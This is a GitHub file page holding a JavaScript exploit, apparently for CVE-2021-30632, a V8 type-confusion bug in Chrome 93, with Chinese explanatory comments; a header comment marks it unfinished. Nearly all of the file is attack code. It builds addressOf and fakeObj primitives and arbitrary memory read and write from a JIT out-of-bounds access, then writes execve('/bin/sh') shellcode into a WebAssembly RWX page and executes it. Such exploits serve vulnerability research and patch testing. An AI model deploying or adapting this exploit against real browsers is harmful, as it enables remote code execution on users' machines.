-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathcve-2021-30632.js
199 lines (147 loc) · 5.08 KB
/
cve-2021-30632.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
// ./build.sh 9.3.345.16
// chrome 93.0.4577.63
// 未完成
const backing_store_offset_of_wasm_instance = 0x68n;
const backing_store_offset_of_data_buf = 0x14n;
const fake_obj_offset_of_fake_array = 0x48n;
//1、init rwx memory
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;
//2、lib function
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function ftoi(f){
f64[0] = f;
return bigUint64[0];
}
function itof(i){
bigUint64[0] = i;
return f64[0];
}
function getLow(double){
f64[0] = double;
return u32[0];
}
function getHigh(double){
f64[0] = double;
return u32[1];
}
function u32Tof64(low,high){
u32[0] = low;
u32[1] = high;
return f64[0];
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function d2u(v) {
f64[0] = v;
return u32;
}
function hex(i){
return i.toString(16).padStart(8,"0");
}
function read64(addr){
fake_array[1] = itof(addr - 0x8n + 0x1n);
return ftoi(fake_object[0]);
}
function write64(addr,data){
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
function fakeObj(addr_to_fake){
double_array[0] = itof(addr_to_fake + 1n);
double_array[1] = obj_map; // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
return faked_obj;
}
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
function copyShellcodeToRwx(shellcode,rwx_addr){
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var data_buf_address = addressOf(data_buf);
var buf_backing_store_addr = data_buf_address + backing_store_offset_of_data_buf;
console.log("[*] rwx_addr: 0x"+hex(rwx_addr));
console.log("[*] buf_backing_store_addr: 0x" + hex(buf_backing_store_addr));
write64(buf_backing_store_addr,rwx_addr);
for(let i = 0;i < shellcode.length;i++){
data_view.setFloat64(i * 8,itof(shellcode[i]),true);
}
}
//3、poc
function foo(b) {
x = b;
}
function oobRead() {
return [x[20],x[24]];
}
function oobWrite(addr) {
x[24] = addr;
}
//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var double_array = [1.1];
var obj = {"a":1};
var obj_array = [obj];
//Optimzie foo
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var array_map = x[19];
var obj_map = x[29];
// var z = oobRead();
// oobWrite(0x41414141);
//① 越界读,获取array_map,obj_map
// var array_map = double_array[1];
// var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(array_map));
console.log("[*] obj_map = 0x" + hex(obj_map));
var fake_array = [
array_map, //注意这里是array_map不是obj_map
itof(0x4141414141414141n)
];
//② 越界写,构造类型混淆,obj array->double array,获取fake_array地址,double array->obj array,伪造fake_obj
// fake_array[1]和fake_obj[0]对应同一块内存,通过fake_array读写时,v8认为这块内存保存的是一个8字节(64位)的double,通过fake_obj读写时v8认为保存的是对象指针
// 因此可以通过fake_array写入任意地址,通过fake_obj实现任意地址读写。
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr :0x"+hex(fake_array_addr));
fake_object_addr = fake_array_addr + fake_obj_offset_of_fake_array;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr:0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + backing_store_offset_of_wasm_instance);
console.log("[*] leak rwx_page_addr : 0x"+hex(rwx_page_addr));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
]
// ④wasm_instance的backing_store是rwx的,将data_buf的backing_store替换成wasm_instance的backing_store
copyShellcodeToRwx(shellcode,rwx_page_addr);
f();